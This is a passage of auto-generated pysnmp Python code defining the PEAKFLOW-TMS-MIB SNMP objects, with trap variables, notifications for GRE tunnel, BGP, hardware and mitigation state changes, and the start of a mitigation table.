if mibBuilder.loadTexts: tmsTrapBgpPeer.setStatus('current')
if mibBuilder.loadTexts: tmsTrapBgpPeer.setDescription('IP address of a BGP peer')
tmsTrapGreSource = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 14), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapGreSource.setStatus('current')
if mibBuilder.loadTexts: tmsTrapGreSource.setDescription('GRE source IP address')
tmsTrapGreDestination = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 15), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapGreDestination.setStatus('current')
if mibBuilder.loadTexts: tmsTrapGreDestination.setDescription('GRE destination IP address')
tmsTrapNexthop = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 16), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapNexthop.setStatus('current')
if mibBuilder.loadTexts: tmsTrapNexthop.setDescription('Nexthop IP address')
tmsTrapIpv6BgpPeer = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 17), Ipv6Address()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapIpv6BgpPeer.setStatus('current')
if mibBuilder.loadTexts: tmsTrapIpv6BgpPeer.setDescription('IPv6 address of a BGP peer')
tmsTrapIpv6GreSource = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 18), Ipv6Address()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapIpv6GreSource.setStatus('current')
if mibBuilder.loadTexts: tmsTrapIpv6GreSource.setDescription('GRE source IPv6 address')
tmsTrapIpv6GreDestination = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 19), Ipv6Address()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapIpv6GreDestination.setStatus('current')
if mibBuilder.loadTexts: tmsTrapIpv6GreDestination.setDescription('GRE destination IPv6 address')
tmsTrapIpv6Nexthop = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 20), Ipv6Address()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapIpv6Nexthop.setStatus('current')
if mibBuilder.loadTexts: tmsTrapIpv6Nexthop.setDescription('Nexthop IPv6 address')
peakflowTmsTraps = MibIdentifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3))
peakflowTmsTrapsEnumerate = MibIdentifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0))
hostFault = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 1)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsHostFault"))
if mibBuilder.loadTexts: hostFault.setStatus('obsolete')
if mibBuilder.loadTexts: hostFault.setDescription('Obsolete; replaced by a number of more specific traps.')
greTunnelDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 2)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapGreSource"), ("PEAKFLOW-TMS-MIB", "tmsTrapGreDestination"))
if mibBuilder.loadTexts: greTunnelDown.setStatus('current')
if mibBuilder.loadTexts: greTunnelDown.setDescription('The greTunnelDown/greTunnelUp traps are generated when a GRE tunnel changes state.')
greTunnelUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 3)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapGreSource"), ("PEAKFLOW-TMS-MIB", "tmsTrapGreDestination"))
if mibBuilder.loadTexts: greTunnelUp.setStatus('current')
if mibBuilder.loadTexts: greTunnelUp.setDescription('The greTunnelDown/greTunnelUp traps are generated when a GRE tunnel changes state.')
tmsLinkUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 4)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"))
if mibBuilder.loadTexts: tmsLinkUp.setStatus('obsolete')
if mibBuilder.loadTexts: tmsLinkUp.setDescription('Obsolete; IF-MIB::linkUp is now used instead')
tmsLinkDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 5)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"))
if mibBuilder.loadTexts: tmsLinkDown.setStatus('obsolete')
if mibBuilder.loadTexts: tmsLinkDown.setDescription('Obsolete; IF-MIB::linkDown is now used instead')
subHostUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 6)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapSubhostName"))
if mibBuilder.loadTexts: subHostUp.setStatus('current')
if mibBuilder.loadTexts: subHostUp.setDescription('Generated when a subhost transitions to active')
subHostDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 7)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapSubhostName"))
if mibBuilder.loadTexts: subHostDown.setStatus('current')
if mibBuilder.loadTexts: subHostDown.setDescription('Generated when a subhost transitions to inactive')
tmsBgpNeighborDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 8)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapBgpPeer"))
if mibBuilder.loadTexts: tmsBgpNeighborDown.setStatus('current')
if mibBuilder.loadTexts: tmsBgpNeighborDown.setDescription('Generated when a BGP neighbor transitions out of the ESTABLISHED state')
tmsBgpNeighborUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 9)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapBgpPeer"))
if mibBuilder.loadTexts: tmsBgpNeighborUp.setStatus('current')
if mibBuilder.loadTexts: tmsBgpNeighborUp.setDescription('Generated when a BGP neighbor transitions into the ESTABLISHED state')
tmsNexthopDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 10)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapNexthop"), ("IF-MIB", "ifName"))
if mibBuilder.loadTexts: tmsNexthopDown.setStatus('current')
if mibBuilder.loadTexts: tmsNexthopDown.setDescription('Generated when the nexthop host cannot be contacted')
tmsNexthopUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 11)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapNexthop"), ("IF-MIB", "ifName"))
if mibBuilder.loadTexts: tmsNexthopUp.setStatus('current')
if mibBuilder.loadTexts: tmsNexthopUp.setDescription('Generated when the nexthop host cannot be contacted')
tmsMitigationError = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 12)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsMitigationIndex"), ("PEAKFLOW-TMS-MIB", "tmsMitigationName"))
if mibBuilder.loadTexts: tmsMitigationError.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationError.setDescription('A mitigation cannot run because of a configuration error')
tmsMitigationSuspended = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 13)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsMitigationIndex"), ("PEAKFLOW-TMS-MIB", "tmsMitigationName"))
if mibBuilder.loadTexts: tmsMitigationSuspended.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationSuspended.setDescription('A mitigation has been suspended due to some external problem (nexthop not reachable, BGP down, etc.)')
tmsMitigationRunning = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 14)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsMitigationIndex"), ("PEAKFLOW-TMS-MIB", "tmsMitigationName"))
if mibBuilder.loadTexts: tmsMitigationRunning.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationRunning.setDescription('A previously-detected mitigation problem has been cleared and the mitigation is now running')
tmsConfigMissing = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 15)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsConfigMissing.setStatus('current')
if mibBuilder.loadTexts: tmsConfigMissing.setDescription('Generated when a TMS configuration file cannot be found.')
tmsConfigError = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 16)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsConfigError.setStatus('current')
if mibBuilder.loadTexts: tmsConfigError.setDescription('Generated when an error in a TMS configuration file is detected.')
tmsConfigOk = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 17)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsConfigOk.setStatus('current')
if mibBuilder.loadTexts: tmsConfigOk.setDescription('All configuration problems have been corrected.')
tmsHwDeviceDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 18)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsHwDeviceDown.setStatus('current')
if mibBuilder.loadTexts: tmsHwDeviceDown.setDescription('A hardware device has failed.')
tmsHwDeviceUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 19)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsHwDeviceUp.setStatus('current')
if mibBuilder.loadTexts: tmsHwDeviceUp.setDescription('A hardware device failure has been corrected.')
tmsHwSensorCritical = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 20)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsHwSensorCritical.setStatus('current')
if mibBuilder.loadTexts: tmsHwSensorCritical.setDescription('A hardware sensor is reading an alarm condition.')
tmsHwSensorOk = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 21)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsHwSensorOk.setStatus('current')
if mibBuilder.loadTexts: tmsHwSensorOk.setDescription('A hardware sensor is no longer reading an alarm condition.')
tmsSwComponentDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 22)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapSubhostName"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSwComponentDown.setStatus('current')
if mibBuilder.loadTexts: tmsSwComponentDown.setDescription('A software program has failed.')
tmsSwComponentUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 23)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapSubhostName"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSwComponentUp.setStatus('current')
if mibBuilder.loadTexts: tmsSwComponentUp.setDescription('A software program failure has been corrected.')
tmsSystemStatusCritical = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 24)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSystemStatusCritical.setStatus('current')
if mibBuilder.loadTexts: tmsSystemStatusCritical.setDescription('The TMS system is experiencing a critical failure.')
tmsSystemStatusDegraded = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 25)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSystemStatusDegraded.setStatus('current')
if mibBuilder.loadTexts: tmsSystemStatusDegraded.setDescription('The TMS system is experiencing degraded performance.')
tmsSystemStatusNominal = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 26)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSystemStatusNominal.setStatus('current')
if mibBuilder.loadTexts: tmsSystemStatusNominal.setDescription('The TMS system has returned to normal behavior.')
tmsFilesystemCritical = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 27)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsFilesystemCritical.setStatus('current')
if mibBuilder.loadTexts: tmsFilesystemCritical.setDescription('A filesystem is near capacity.')
tmsFilesystemNominal = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 28)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsFilesystemNominal.setStatus('current')
if mibBuilder.loadTexts: tmsFilesystemNominal.setDescription('A filesystem is back below capacity alarm threshold.')
tmsHwSensorUnknown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 29)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsHwSensorUnknown.setStatus('current')
if mibBuilder.loadTexts: tmsHwSensorUnknown.setDescription('A hardware sensor is in an unknown state.')
tmsSpCommunicationUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 30)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSpCommunicationUp.setStatus('current')
if mibBuilder.loadTexts: tmsSpCommunicationUp.setDescription('Communication with SP host is up.')
tmsSpCommunicationDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 31)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSpCommunicationDown.setStatus('current')
if mibBuilder.loadTexts: tmsSpCommunicationDown.setDescription('Communication with SP host is down.')
tmsSystemStatusError = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 32)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSystemStatusError.setStatus('current')
if mibBuilder.loadTexts: tmsSystemStatusError.setDescription('The TMS system is experiencing an error.')
tmsAutomitigationBgpEnabled = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 33)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsAutomitigationBgpEnabled.setStatus('current')
if mibBuilder.loadTexts: tmsAutomitigationBgpEnabled.setDescription('A previously-detected automitigation problem has been cleared and the automitigation BGP announcements have resumed.')
tmsAutomitigationBgpDisabled = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 34)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsAutomitigationBgpDisabled.setStatus('current')
if mibBuilder.loadTexts: tmsAutomitigationBgpDisabled.setDescription('Automitigation BGP announcements have been administratively disabled.')
tmsAutomitigationBgpSuspended = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 35)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsAutomitigationBgpSuspended.setStatus('current')
if mibBuilder.loadTexts: tmsAutomitigationBgpSuspended.setDescription('Automitigation BGP announcements have been suspended due to some external problem (nexthop not reachable, BGP down, etc.)')
tmsIpv6GreTunnelDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 36)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6GreSource"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6GreDestination"))
if mibBuilder.loadTexts: tmsIpv6GreTunnelDown.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6GreTunnelDown.setDescription('The greTunnelDown/greTunnelUp traps are generated when a GRE tunnel changes state.')
tmsIpv6GreTunnelUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 37)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6GreSource"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6GreDestination"))
if mibBuilder.loadTexts: tmsIpv6GreTunnelUp.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6GreTunnelUp.setDescription('The greTunnelDown/greTunnelUp traps are generated when a GRE tunnel changes state.')
tmsIpv6BgpNeighborDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 38)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6BgpPeer"))
if mibBuilder.loadTexts: tmsIpv6BgpNeighborDown.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6BgpNeighborDown.setDescription('Generated when a BGP neighbor transitions out of the ESTABLISHED state.')
tmsIpv6BgpNeighborUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 39)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6BgpPeer"))
if mibBuilder.loadTexts: tmsIpv6BgpNeighborUp.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6BgpNeighborUp.setDescription('Generated when a BGP neighbor transitions into the ESTABLISHED state.')
tmsIpv6NexthopDown = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 40)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6Nexthop"), ("IF-MIB", "ifName"))
if mibBuilder.loadTexts: tmsIpv6NexthopDown.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6NexthopDown.setDescription('Generated when the nexthop host becomes unreachable.')
tmsIpv6NexthopUp = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 41)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapIpv6Nexthop"), ("IF-MIB", "ifName"))
if mibBuilder.loadTexts: tmsIpv6NexthopUp.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6NexthopUp.setDescription('Generated when the nexthop host becomes reachable.')
tmsPerformanceOk = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 42)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsPerformanceOk.setStatus('current')
if mibBuilder.loadTexts: tmsPerformanceOk.setDescription('Generated when the processed traffic rate matches the offered traffic rate.')
tmsPerformanceLossy = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 43)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsPerformanceLossy.setStatus('current')
if mibBuilder.loadTexts: tmsPerformanceLossy.setDescription('Generated when the processed traffic rate is lower than the offered traffic rate.')
tmsSystemPrefixesOk = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 44)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSystemPrefixesOk.setStatus('current')
if mibBuilder.loadTexts: tmsSystemPrefixesOk.setDescription('BGP is currently advertising all mitigation prefixes.')
tmsSystemPrefixesMissing = NotificationType((1, 3, 6, 1, 4, 1, 9694, 1, 5, 3, 0, 45)).setObjects(("SNMPv2-MIB", "sysName"), ("PEAKFLOW-TMS-MIB", "tmsTrapString"), ("PEAKFLOW-TMS-MIB", "tmsTrapDetail"), ("PEAKFLOW-TMS-MIB", "tmsTrapComponentName"))
if mibBuilder.loadTexts: tmsSystemPrefixesMissing.setStatus('current')
if mibBuilder.loadTexts: tmsSystemPrefixesMissing.setDescription('BGP is not currently advertising all mitigation prefixes.')
peakflowTmsObj = MibIdentifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5))
tmsDpiConfig = MibIdentifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 1))
tmsVersion = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 1, 1), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsVersion.setStatus('current')
if mibBuilder.loadTexts: tmsVersion.setDescription('TMS software version')
tmsLastUpdate = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsLastUpdate.setStatus('current')
if mibBuilder.loadTexts: tmsLastUpdate.setDescription('Time of the last configuration change')
tmsMitigationConfig = MibIdentifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2))
tmsMitigationLastUpdate = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 1), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsMitigationLastUpdate.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationLastUpdate.setDescription('Last time Mitigation configuration was updated')
tmsMitigationNumber = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 2), TmsTableIndexOrZero()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsMitigationNumber.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationNumber.setDescription('Number of entries in the tmsMitigation table')
tmsMitigationTable = MibTable((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3), )
if mibBuilder.loadTexts: tmsMitigationTable.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationTable.setDescription('Table of all mitigations in the TMS system')
tmsMitigationEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1), ).setIndexNames((0, "PEAKFLOW-TMS-MIB", "tmsMitigationIndex"))
if mibBuilder.loadTexts: tmsMitigationEntry.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationEntry.setDescription('Information about a single mitigation')
tmsMitigationIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 1), TmsTableIndex()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsMitigationIndex.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationIndex.setDescription('Index in the tmsMitigation table. As of release 5.0 this is the same as the tmsMitigationId.')
tmsMitigationId = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 2), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsMitigationId.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationId.setDescription('ID number of this mitigation')
tmsDestinationPrefix = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 3), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsDestinationPrefix.setStatus('current')
if mibBuilder.loadTexts: tmsDestinationPrefix.setDescription('Destination IPv4 prefix to which this mitigation applies. The value 0.0.0.0/32 indicates that the mitigation has no IPv4 prefix.')
tmsDestinationPrefixMask = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 4), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 32))).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsDestinationPrefixMask.setStatus('current')
if mibBuilder.loadTexts: tmsDestinationPrefixMask.setDescription('Destination IPv4 prefix to which this mitigation applies. The value 0.0.0.0/32 indicates that the mitigation has no IPv4 prefix.')
